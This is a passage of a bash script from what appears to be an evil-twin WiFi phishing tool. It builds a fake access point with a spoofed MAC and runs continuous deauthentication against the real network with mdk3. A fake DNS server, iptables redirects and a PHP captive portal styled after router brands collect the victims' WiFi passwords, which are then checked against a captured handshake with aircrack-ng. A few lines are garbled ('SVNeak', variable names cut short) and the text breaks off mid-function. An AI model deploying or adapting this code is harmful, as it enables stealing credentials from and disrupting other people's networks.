DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"11\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_HU\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"12\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"13\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_GR\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"14\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"15\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_NO\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"16\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_BG\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG\n                                NEUTRA\n                                break\n\n            elif [ \"$webconf\" = \"17\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"18\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_PL\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"19\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ID\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"20\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_NL\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = 21 ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = 22 ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_HE\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = 23 ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_TH\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH\n                                NEUTRA\n                                break\n\n            elif [ \"$webconf\" = 24 ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR\n                                NEUTRA\n                                break\n\n            elif [ \"$webconf\" = 25 ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN\n                                NEUTRA\n                                SVNeak\n\n                        elif [ \"$webconf\" = \"26\" ]; then\n                                BELKIN\n                                break\n\n\n                        elif [ \"$webconf\" = \"27\" ]; then\n                                NETGEAR\n                                break\n\n                        elif [ \"$webconf\" = \"28\" ]; then\n                                HUAWEI\n                                break\n\n                        elif [ \"$webconf\" = \"29\" ]; then\n                                VERIZON\n                                break\n\n                        elif [ \"$webconf\" = \"30\" ]; then\n                                NETGEAR2\n                                break\n\n                        elif [ \"$webconf\" = \"31\" ]; then\n                                ARRIS2\n                                break\n\n                        elif [ \"$webconf\" = \"32\" ]; then\n                                VODAFONE\n                                break\n\n                        elif [ \"$webconf\" = \"33\" ]; then\n                                TPLINK\n                                break\n\n                        elif [ \"$webconf\" = \"34\" ]; then\n                                ZIGGO_NL\n                                break\n\n                        elif [ \"$webconf\" = \"35\" ]; then\n                                KPN_NL\n                                break\n\n            elif [ \"$webconf\" = \"36\" ]; then\n                ZIGGO2016_NL\n                break\n\n                elif [ \"$webconf\" = \"37\" ]; then\n                                FRITZBOX_DE\n                                break\n\n                    elif [ \"$webconf\" = \"38\" ]; then\n                                FRITZBOX_ENG\n                                break\n\n                        elif [ \"$webconf\" = \"39\" ]; then\n                                GENEXIS_DE\n                                break\n\n                        elif [ \"$webconf\" = \"40\" ]; then\n                                Login-Netgear\n                                break\n\n                        elif [ \"$webconf\" = \"41\" ]; then\n                                Login-Xfinity\n                                break\n\n                        elif [ \"$webconf\" = \"42\" ]; then\n                                Telekom\n                                break\n\n                        elif [ \"$webconf\" = \"43\" ]; then\n                                google\n                                break\n\n      elif [ \"$webconf\" = \"44\" ]; then\n        MOVISTAR_ES\n        break\n\n                        elif [ \"$webconf\" = \"45\" ]; then\n                                conditional_clear\n                                webinterface\n                                break\n      fi\n\n        done\nfi\n        preattack\n        attack\n}\n\n# Create different settings required for the script\nfunction preattack {\n\n        # Config HostAPD\n        echo \"interface=$WIFI\ndriver=nl80211\nssid=$Host_SSID\nchannel=$Host_CHAN\" > $DUMP_PATH/hostapd.conf\n\n        # Creates PHP\n        echo \"<?php\nerror_reporting(0);\n\n\\$count_my_page = (\\\"$DUMP_PATH/hit.txt\\\");\n\\$hits = file(\\$count_my_page);\n\\$hits[0] ++;\n\\$fp = fopen(\\$count_my_page , \\\"w\\\");\nfputs(\\$fp , \\$hits[0]);\nfclose(\\$fp);\n\n// Receive form Post data and Saving it in variables\n\\$key1 = @\\$_POST['key1'];\n\n// Write the name of text file where data will be store\n\\$filename = \\\"$DUMP_PATH/data.txt\\\";\n\\$filename2 = \\\"$DUMP_PATH/status.txt\\\";\n\\$intento = \\\"$DUMP_PATH/intento\\\";\n\\$attemptlog = \\\"$DUMP_PATH/pwattempt.txt\\\";\n\n// Marge all the variables with text in a single variable.\n\\$f_data= ''.\\$key1.'';\n\n\\$pwlog = fopen(\\$attemptlog, \\\"w\\\");\nfwrite(\\$pwlog, \\$f_data);\nfwrite(\\$pwlog,\\\"\\n\\\");\nfclose(\\$pwlog);\n\n\\$file = fopen(\\$filename, \\\"w\\\");\nfwrite(\\$file, \\$f_data);\nfwrite(\\$file,\\\"\\n\\\");\nfclose(\\$file);\n\n\\$archivo = fopen(\\$intento, \\\"w\\\");\nfwrite(\\$archivo,\\\"\\n\\\");\nfclose(\\$archivo);\n\nwhile( 1 ) {\n\n        if (file_get_contents( \\$intento ) == 1) {\n                header(\\\"Location:error.html\\\");\n                unlink(\\$intento);\n            break;\n        }\n\n        if (file_get_contents( \\$intento ) == 2) {\n                header(\\\"Location:final.html\\\");\n                break;\n        }\n\n        sleep(1);\n}\n?>\" > $DUMP_PATH/data/check.php\n\n        # Config DHCP\n        echo \"authoritative;\n\ndefault-lease-time 600;\nmax-lease-time 7200;\n\nsubnet $RANG_IP.0 netmask 255.255.255.0 {\n\noption broadcast-address $RANG_IP.255;\noption routers $IP;\noption subnet-mask 255.255.255.0;\noption domain-name-servers $IP;\n\nrange $RANG_IP.100 $RANG_IP.250;\n\n}\" > $DUMP_PATH/dhcpd.conf\n\n        #create an empty leases file\n        touch $DUMP_PATH/dhcpd.leases\n\n        # creates Lighttpd web-server\n        echo \"server.document-root = \\\"$DUMP_PATH/data/\\\"\n\n  server.modules = (\n    \\\"mod_access\\\",\n    \\\"mod_alias\\\",\n    \\\"mod_accesslog\\\",\n    \\\"mod_fastcgi\\\",\n    \\\"mod_redirect\\\",\n    \\\"mod_rewrite\\\"\n  )\n\n  fastcgi.server = ( \\\".php\\\" => ((\n                  \\\"bin-path\\\" => \\\"/usr/bin/php-cgi\\\",\n                  \\\"socket\\\" => \\\"/php.socket\\\"\n                )))\n\n  server.port = 80\n  server.pid-file = \\\"/var/run/lighttpd.pid\\\"\n  # server.username = \\\"www\\\"\n  # server.groupname = \\\"www\\\"\n\n  mimetype.assign = (\n  \\\".html\\\" => \\\"text/html\\\",\n  \\\".htm\\\" => \\\"text/html\\\",\n  \\\".txt\\\" => \\\"text/plain\\\",\n  \\\".jpg\\\" => \\\"image/jpeg\\\",\n  \\\".png\\\" => \\\"image/png\\\",\n  \\\".css\\\" => \\\"text/css\\\"\n  )\n\n\n  server.error-handler-404 = \\\"/\\\"\n\n  static-file.exclude-extensions = ( \\\".fcgi\\\", \\\".php\\\", \\\".rb\\\", \\\"~\\\", \\\".inc\\\" )\n  index-file.names = ( \\\"index.htm\\\", \\\"index.html\\\" )\n\n  \\$SERVER[\\\"socket\\\"] == \\\":443\\\" {\n        url.redirect = ( \\\"^/(.*)\\\" => \\\"http://www.internet.com\\\")\n        ssl.engine                  = \\\"enable\\\"\n        ssl.pemfile                 = \\\"$DUMP_PATH/server.pem\\\"\n\n  }\n\n  #Redirect www.domain.com to domain.com\n  \\$HTTP[\\\"host\\\"] =~ \\\"^www\\.(.*)$\\\" {\n        url.redirect = ( \\\"^/(.*)\\\" => \\\"http://%1/\\$1\\\" )\n        ssl.engine                  = \\\"enable\\\"\n        ssl.pemfile                 = \\\"$DUMP_PATH/server.pem\\\"\n  }\n  \" >$DUMP_PATH/lighttpd.conf\n\n\n# that redirects all DNS requests to the gateway\n        echo \"import socket\n\nclass DNSQuery:\n  def __init__(self, data):\n    self.data=data\n    self.dominio=''\n\n    tipo = (ord(data[2]) >> 3) & 15\n    if tipo == 0:\n      ini=12\n      lon=ord(data[ini])\n      while lon != 0:\n        self.dominio+=data[ini+1:ini+lon+1]+'.'\n        ini+=lon+1\n        lon=ord(data[ini])\n\n  def respuesta(self, ip):\n    packet=''\n    if self.dominio:\n      packet+=self.data[:2] + \\\"\\x81\\x80\\\"\n      packet+=self.data[4:6] + self.data[4:6] + '\\x00\\x00\\x00\\x00'\n      packet+=self.data[12:]\n      packet+='\\xc0\\x0c'\n      packet+='\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x3c\\x00\\x04'\n      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))\n    return packet\n\nif __name__ == '__main__':\n  ip='$IP'\n  print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip\n\n  udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n  udps.bind(('',53))\n\n  try:\n    while 1:\n      data, addr = udps.recvfrom(1024)\n      p=DNSQuery(data)\n      udps.sendto(p.respuesta(ip), addr)\n      print 'Request: %s -> %s' % (p.dominio, ip)\n  except KeyboardInterrupt:\n    print 'Finalizando'\n    udps.close()\" > $DUMP_PATH/fakedns\n        chmod +x $DUMP_PATH/fakedns\n}\n\n# Set up DHCP / WEB server\n# Set up DHCP / WEB server\nfunction routear {\n\n        ifconfig $interfaceroutear up\n        ifconfig $interfaceroutear $IP netmask 255.255.255.0\n\n        route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP\n        sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device\n\n  iptables --flush\n  iptables --table nat --flush\n  iptables --delete-chain\n  iptables --table nat --delete-chain\n  iptables -P FORWARD ACCEPT\n\n  iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80\n  iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443\n  iptables -A INPUT -p tcp --sport 443 -j ACCEPT\n  iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT\n  iptables -t nat -A POSTROUTING -j MASQUERADE\n\n}\n\n# Attack\nfunction attack {\n\n        interfaceroutear=$WIFI\n\n        handshakecheck\n        nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v \"${mac:13:1}\" | head -c 1)\n\n        if [ \"$fakeapmode\" = \"hostapd\" ]; then\n\n                ifconfig $WIFI down\n                sleep 0.4\n                macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device\n                sleep 0.4\n                ifconfig $WIFI up\n                sleep 0.4\n        fi\n\n\n        if [ $fakeapmode = \"hostapd\" ]; then\n                killall hostapd &> $flux_output_device\n                xterm $HOLD $BOTTOMRIGHT -bg \"#000000\" -fg \"#FFFFFF\" -title \"AP\" -e hostapd $DUMP_PATH/hostapd.conf &\n                elif [ $fakeapmode = \"airbase-ng\" ]; then\n                killall airbase-ng &> $flux_output_device\n                xterm $BOTTOMRIGHT -bg \"#000000\" -fg \"#FFFFFF\" -title \"AP\" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR &\n        fi\n        sleep 5\n\n        routear &\n        sleep 3\n\n\n        killall dhcpd &> $flux_output_device\n        fuser -n tcp -k 53 67 80 &> $flux_output_device\n        fuser -n udp -k 53 67 80 &> $flux_output_device\n\n        xterm -bg black -fg green $TOPLEFT -T DHCP -e \"dhcpd -d -f -lf \"$DUMP_PATH/dhcpd.leases\" -cf \"$DUMP_PATH/dhcpd.conf\" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt\" &\n        xterm $BOTTOMLEFT -bg \"#000000\" -fg \"#99CCFF\" -title \"FAKEDNS\" -e \"if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi\" &\n\n        lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device\n\n        killall aireplay-ng &> $flux_output_device\n        killall mdk3 &> $flux_output_device\n        echo \"$Host_MAC\" >$DUMP_PATH/mdk3.txt\n        xterm $HOLD $BOTTOMRIGHT -bg \"#000000\" -fg \"#FF0009\" -title \"Deauth all [mdk3]  $Host_SSID\" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &\n\n        xterm -hold $TOPRIGHT -title \"Wifi Information\" -e $DUMP_PATH/handcheck &\n        conditional_clear\n\n        while true; do\n                top\n\n                echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" Attack in progress ..\"\n                echo \"                                       \"\n                echo \"      1) Choose another network\"\n                echo \"      2) Exit\"\n                echo \" \"\n                echo -n '      #> '\n                read yn\n                case $yn in\n                        1 ) matartodo; CSVDB=dump-01.csv; selection; break;;\n                        2 ) matartodo; exitmode; break;;\n                        * ) echo \"\n$general_case_error\"; conditional_clear ;;\n                esac\n        done\n\n}\n\n# Checks the validity of the password\nfunction handshakecheck {\n\n        echo \"#!/bin/bash\n\n        echo > $DUMP_PATH/data.txt\n        echo -n \\\"0\\\"> $DUMP_PATH/hit.txt\n        echo \"\" >$DUMP_PATH/loggg\n\n        tput civis\n        clear\n\n        minutos=0\n        horas=0\n        i=0\n        timestamp=\\$(date +%s)\n\n        while true; do\n\n        segundos=\\$i\n        dias=\\`expr \\$segundos / 86400\\`\n        segundos=\\`expr \\$segundos % 86400\\`\n        horas=\\`expr \\$segundos / 3600\\`\n        segundos=\\`expr \\$segundos % 3600\\`\n        minutos=\\`expr \\$segundos / 60\\`\n        segundos=\\`expr \\$segundos % 60\\`\n\n        if [ \\\"\\$segundos\\\" -le 9 ]; then\n        is=\\\"0\\\"\n        else\n        is=\n        fi\n\n        if [ \\\"\\$minutos\\\" -le 9 ]; then\n        im=\\\"0\\\"\n        else\n        im=\n        fi\n\n        if [ \\\"\\$horas\\\" -le 9 ]; then\n        ih=\\\"0\\\"\n        else\n        ih=\n        fi\">>$DUMP_PATH/handcheck\n\n        if [ $authmode = \"handshake\" ]; then\n                echo \"if [ -f $DUMP_PATH/pwattempt.txt ]; then\n                cat $DUMP_PATH/pwattempt.txt >> \\\"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\\\"\n                rm -f $DUMP_PATH/pwattempt.txt\n                fi\n\n                if [ -f $DUMP_PATH/intento ]; then\n\n                if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \\\"Passphrase not in\\\"; then\n                echo \\\"2\\\">$DUMP_PATH/intento\n                break\n                else\n                echo \\\"1\\\">$DUMP_PATH/intento\n                fi\n\n                fi\">>$DUMP_PATH/handcheck\n\n        elif [ $authmode = \"wpa_supplicant\" ]; then\n                  echo \"\n                if [ -f $DUMP_PATH/pwattempt.txt ]; then\n                cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log\n                rm -f $DUMP_PATH/pwattempt.txt\n                fi\n\n                wpa_passphrase $Host_SSID \\$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf &\n                wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg &\n\n                if [ -f $DUMP_PATH/intento ]; then\n\n                if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then\n                echo \\\"2\\\">$DUMP_PATH/intento\n                break\n                else\n                echo \\\"1\\\">$DUMP_PATH/intento\n                fi\n\n                fi\n                \">>$DUMP_PATH/handcheck\n        fi\n\n        echo \"readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host )\n\n        echo\n        echo -e \\\"  ACCESS POINT:\\\"\n        echo -e \\\"    SSID............: \"$white\"$Host_SSID\"$transparent\"\\\"\n        echo -e \\\"    MAC.............: \"$yellow\"$Host_MAC\"$transparent\"\\\"\n        echo -e \\\"    Channel.........: \"$white\"$Host_CHAN\"$transparent\"\\\"\n        echo -e \\\"    Vendor..........: \"$green\"$Host_MAC_MODEL\"$transparent\"\\\"\n        echo -e \\\"    Operation time..: \"$blue\"\\$ih\\$horas:\\$im\\$minutos:\\$is\\$segundos\"$transparent\"\\\"\n        echo -e \\\"    Attempts........: \"$red\"\\$(cat $DUMP_PATH/hit.txt)\"$transparent\"\\\"\n        echo -e \\\"    Clients.........: \"$blue\"\\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \\$5}' | sort| uniq | wc -l)\"$transparent\"\\\"\n        echo\n        echo -e \\\"  CLIENTS ONLINE:\\\"\n\n        x=0\n        for cliente in \\\"\\${CLIENTESDHCP[@]}\\\"; do\n          x=\\$((\\$x+1))\n          CLIENTE_IP=\\$(echo \\$cliente| cut -d \\\" \\\" -f2)\n          CLIENTE_MAC=\\$(nmap -PR -sn -n \\$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \\$3}' | tr [:upper:] [:lower:])\n\n          if [ \\\"\\$(echo \\$CLIENTE_MAC| wc -m)\\\" != \\\"18\\\" ]; then\n                CLIENTE_MAC=\\\"xx:xx:xx:xx:xx:xx\\\"\n          fi\n\n          CLIENTE_FABRICANTE=\\$(macchanger -l | grep \\\"\\$(echo \\\"\\$CLIENTE_MAC\\\" | cut -d \\\":\\\" -f -3)\\\" | cut -d \\\" \\\" -f 5-)\n\n          if echo \\$CLIENTE_MAC| grep -q x; then\n                    CLIENTE_FABRICANTE=\\\"unknown\\\"\n          fi\n\n          CLIENTE_HOSTNAME=\\$(grep \\$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \\$2}' | awk -F ')' '{print \\$1}')\n\n          echo -e \\\"    $green \\$x) $red\\$CLIENTE_IP $yellow\\$CLIENTE_MAC $transparent($blue\\$CLIENTE_FABRICANTE$transparent) $green \\$CLIENTE_HOSTNAME$transparent\\\"\n        done\n\n        echo -ne \\\"\\033[K\\033[u\\\"\">>$DUMP_PATH/handcheck\n\n\n        if [ $authmode = \"handshake\" ]; then\n                echo \"let i=\\$(date +%s)-\\$timestamp\n                sleep 1\">>$DUMP_PATH/handcheck\n\n        elif [ $authmode = \"wpa_supplicant\" ]; then\n                echo \"sleep 5\n\n                killall wpa_supplicant &>$flux_output_device\n                